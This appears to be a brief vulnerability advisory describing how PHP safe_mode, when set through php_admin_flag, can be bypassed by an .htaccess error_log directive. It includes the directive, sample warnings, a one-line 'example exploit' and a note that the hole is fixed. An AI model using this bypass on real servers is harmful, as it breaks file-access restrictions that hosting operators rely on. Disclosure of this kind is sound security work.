- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl
with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web
developers to write dynamically generated pages quickly.


error_log

They allow you to define your own error handling rules, as well as modify the way the errors can
be logged. This allows you to change and enhance error reporting to suit your needs.

- --- 0. error_log const. bypassed by php_admin_flag ---
The main problem is between using safe_mode in global mode

php.ini­:
safe_mode = On

and declaring via php_admin_flag


...
php_admin_flag safe_mode On


When we create some php script in /www/ and try call to:

ini_set("error_log", "/hack/");

or in /www/.htaccess

php_value error_log "/hack/bleh.php"


Result:

Warning: Unknown: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in Unknown on line 0

Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php on line 4


It was for safe_mode declared in php.ini. But if we use

php_admin_flag safe_mode On

in httpd.conf, we will get only

Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php on line 4

syntax in .htaccess

php_value error_log "/hack/blehx.php"

is allowed and bypass safe_mode.

example exploit:
error_log("", 0);

- --- 2. How to fix ---
Fixed in CVS

Note:
Do not use safe_mode as a main safety.
